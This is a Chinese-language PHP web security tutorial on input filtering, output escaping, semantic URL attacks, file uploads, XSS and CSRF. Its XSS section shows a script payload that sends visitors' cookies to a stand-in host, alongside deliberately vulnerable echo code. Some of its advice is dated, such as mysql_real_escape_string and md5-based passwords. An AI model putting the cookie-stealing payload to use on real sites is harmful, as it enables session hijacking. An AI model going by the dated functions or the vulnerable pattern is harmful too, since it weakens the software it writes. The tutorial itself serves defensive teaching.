PHP开发安全

Wengege

==过滤输入/输出转义

      过滤是Web应用安全的基础。它是你验证数据合法性的过程。通过在输入时确认对所有的数据进行过滤，你可以避免被污染（未过滤）数据在你的程序中被误信及误用。大多数流行的PHP应用的漏洞最终都是因为没有对输入进行恰当过滤造成的。
      有很多种方法过滤数据，其中有一些安全性较高。最好的方法是把过滤看成是一个检查的过程。请不要试图好心地去纠正非法数据，要让你的用户按你的规则去做，历史证明了试图纠正非法数据往往会导致安全漏洞。
      另外一个Web应用安全的基础是对输出进行转义或对特殊字符进行编码，以保证原意不变。例如，O'Reilly在传送给MySQL数据库前需要转义成O\'Reilly。单引号前的反斜杠代表单引号是数据本身的一部分，而不是并不是它的本义。
   
      象过滤一样，转义过程在依情形的不同而不同。过滤对于不同类型的数据处理方法也是不同的，转义也是根据你传输信息到不同的系统而采用不同的方法。
      为了区分数据是否已转义，还是建议定义一个命名机制。对于输出到客户机的转义数据，使$html数组进行存储，该数据首先初始化成一个空数组，对所有已过滤和已转义数据进行保存。
<?php
       $html = array(       );
     $html['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8');
       echo "<p>Welcome, {$html['username']}.</p>";
?>
      htmlspecialchars( )函数与htmlentities( )函数基本相同，它们的参数定义完全相同，只不过是htmlentities( )的转义更为彻底。
      通过$html['username']把username输出到客户端，你就可以确保其中的特殊字符不会被浏览器所错误解释。如果username只包含字母和数字的话，实际上转义是没有必要的，但是这体现了深度防范的原则。转义任何的输出是一个非常好的习惯，它可以戏剧性地提高你的软件的安全性。
      另外一个常见的输出目标是数据库。如果可能的话，你需要对SQL语句中的数据使用PHP内建函数进行转义。对于MySQL用户，最好的转义函数是mysql_real_escape_string( )。如果你使用的数据库没有PHP内建转义函数可用的话，addslashes( )是最后的选择。

==语义URL攻击

      例如，如果用户a点击了一个链接并到达了页面http://abc.net/pr.php?user=a, 很自然地可能会试图改变user的值，看看会发生什么。
      如果使用session跟踪，可以很方便地避免上述情况的发生：
<?php
       session_start();
     $clean = array();
     $email_pa = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';
       if (preg_match($email_pa, $_POST['email']))
       {
     $clean['email'] = $_POST['email'];
     $user = $_SESSION['user'];
     $new_password = md5(uniqid(rand(), TRUE));
       if ($_SESSION['verified'])
       {
         /* Update Password */
         mail($clean['email'], 'Your New Pass', $new_password);
       }
       }
     ?>
      正是这种不信任的做法是防止你的应用产生漏洞的关键。

==文件上传攻击

      有时在除了标准的表单数据外，你还需要让用户进行文件上传。由于文件在表单中传送时与其它的表单数据不同，你必须指定一个特别的编码方式multipart/form-data：
<form action="./upload.php" method="POST" enctype="multipart/form-data">
      一个同时有普通表单数据和文件的表单是一个特殊的格式，而指定编码方式可以使浏览器能按该可格式的要求去处理。
      允许用户进行选择文件并上传的表单元素是很简单的： <input type="file" name="attachment" />
      该元素在各种浏览器中的外观表现形式各有不同。传统上，界面上包括一个标准的文本框及一个浏览按钮，以使用户能直接手工录入文件的路径或通过浏览选择。在Safari浏览器中只有浏览按钮。幸运的是，它们的作用与行为是相同的。
      为了更好地演示文件上传机制，下面是一个允许用户上传附件的例子： <form action="./upload.php" method="POST" enctype="multipart/form-data">
       <p>Please choose a file to upload:
       <input type="hidden" name="MAX_FILE_SIZE" value="1024" />
       <input type="file" name="attachment" /><br />
       <input type="submit" value="Upload Attachment" /></p>
       </form>
      隐藏的表单变量MAX_FILE_SIZE告诉了浏览器最大允许上传的文件大小。与很多客户端限制相同，这一限制很容易被攻击者绕开，但它可以为合法用户提供向导。在服务器上进行该限制才是可靠的。
      PHP的配置变量中，upload_max_filesize控制最大允许上传的文件大小。同时post_max_size（POST表单的最大提交数据的大小）也能潜在地进行控制，因为文件是通过表单数据进行上传的。
      接收程序upload.php显示了超级全局数组$_FILES的内容：
<?php
       header('Content-Type: text/plain');
     print_r($_FILES);
     ?>
      为了理解上传的过程，我们使用一个名为author.txt的文件进行测试，下面是它的内容： user abc
       http://abc.org/[/php]
     当你上传该文件到upload.php程序时，你可以在浏览器中看到类似下面的输出：      [php]Array
       (
           [attachment] => Array
               (
                       [name] => author.txt
                     [type] => text/plain
                     [tmp_name] => /tmp/phpShfltt
                     [error] => 0
                     [size] => 36
             )        )
      虽然从上面可以看出PHP实际在超级全局数组$_FILES中提供的内容，但是它无法给出表单数据的原始信息。
      由于PHP在文件系统的临时文件区保存上传的文件，所以通常进行的操作是把它移到其它地方进行保存及读取到内存。如果你不对tmp_name作检查以确保它是一个上传的文件（而不是/etc/passwd之类的东西），存在一个理论上的风险。之所以叫理论上的风险，是因为没有一种已知的攻击手段允许攻击者去修改tmp_name的值。但是，没有攻击手段并不意味着你不需要做一些简单的安全措施。新的攻击手段每天在出现，而简单的一个步骤能保护你的系统。
      PHP提供了两个方便的函数以减轻这些理论上的风险：is_uploaded_file( ) and move_uploaded_file( )。如果你需要确保tmp_name中的文件是一个上传的文件，你可以用 is_uploaded_file( )：
     <?php
       $filename = $_FILES['attachment']['tmp_name'];
       if (is_uploaded_file($filename))
       {
     /* $_FILES['attachment']['tmp_name'] is an uploaded file. */
     }
     ?>
      最后你可以用 filesize( ) 来校验文件的大小：
<?php
       $filename = $_FILES['attachment']['tmp_name'];        if (is_uploaded_file($filename))
       {
     $size = filesize($filename);
       }
     ?>
      这些安全措施的目的是加上一层额外的安全保护层。最佳的方法是永远尽可能少地去信任。而且所有的输入都是有害的。  

==跨站脚本攻击

      所有有输入的应用都面临着风险。事实上，大多数Web应用提供输入是出于更吸引人气的目的，但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义，跨站脚本漏洞就产生了。
      以一个允许在每个页面上录入评论的应用为例，它使用了下面的表单帮助用户进行提交：
<form action="./comment.php" method="POST" />
       <p>Name: <input type="text" name="name" /><br />
     Comment: <textarea name="comment" rows="10" cols="60"></textarea><br />
       <input type="submit" value="Add Comment" /></p>
       </form>
      程序向其他访问该页面的用户显示评论。例如，类似下面的代码段可能被用来输出一个评论($comment)及与之对应的发表人（$name）：
<?php
     echo "<p>$name writes:<br />";
       echo "<blockquote>$comment</blockquote></p>";
     ?>
      这个流程对$comment及$name的值给予了充分的信任，想象一下它们中的一个的内容中包含如下代码： <script>
     document.location =
     'http://a.abc.net/s.php?cookies=' +
     document.cookie
       </script>
      如果你的用户察看这个评论时，这与你允许别人在你的网站源程序中加入Javascript代码无异。你的用户会在不知不觉中把他们的cookies(浏览网站的人)发送到a.abc.net，而接收程序(s.php)可以通过$_GET['cookies']变量防问所有的cookies。
      这是一个常见的错误，主要是由于不好的编程习惯引发的。幸运的是此类错误很容易避免。由于这种风险只在你输出了被污染数据时发生，所以只要确保做到如第一章所述的过滤输入及转义输出即可
      最起码你要用htmlentities( )对任何你要输出到客户端的数据进行转义。该函数可以把所有的特殊字符转换成HTML表示方式。所有会引起浏览器进行特殊处理的字符在进行了转换后，就能确保显示出来的是原来录入的内容。

==跨站请求伪造

      跨站请求伪造(CSRF)是一种允许攻击者通过受害者发送任意HTTP请求的一类攻击方法。此处所指的受害者是一个不知情的同谋，所有的伪造请求都由他发起，而不是攻击者。这样，很你就很难确定哪些请求是属于跨站请求伪造攻击。事实上，如果没有对跨站请求伪造攻击进行特意防范的话，你的应用很有可能是有漏洞的。
      你需要用几个步骤来减轻跨站请求伪造攻击的风险。一般的步骤包括使用POST方式而不是使用GET来提交表单，在处理表单提交时使用$_POST而不是$_REQUEST，同时需要在重要操作时进行验证（越是方便，风险越大，你需要求得方便与风险之间的平衡）。
      任何需要进行操作的表单都要使用POST方式。在RFC 2616(HTTP/1.1传送协议，译注)的9.1.1小节中有一段描述：
      “特别需要指出的是，习惯上GET与HEAD方式不应该用于引发一个操作，而只是用于获取信息。这些方式应该被认为是‘安全’的。客户浏览器应以特殊的方式，如POST，PUT或DELETE方式来使用户意识到正在请求进行的操作可能是不安全的。”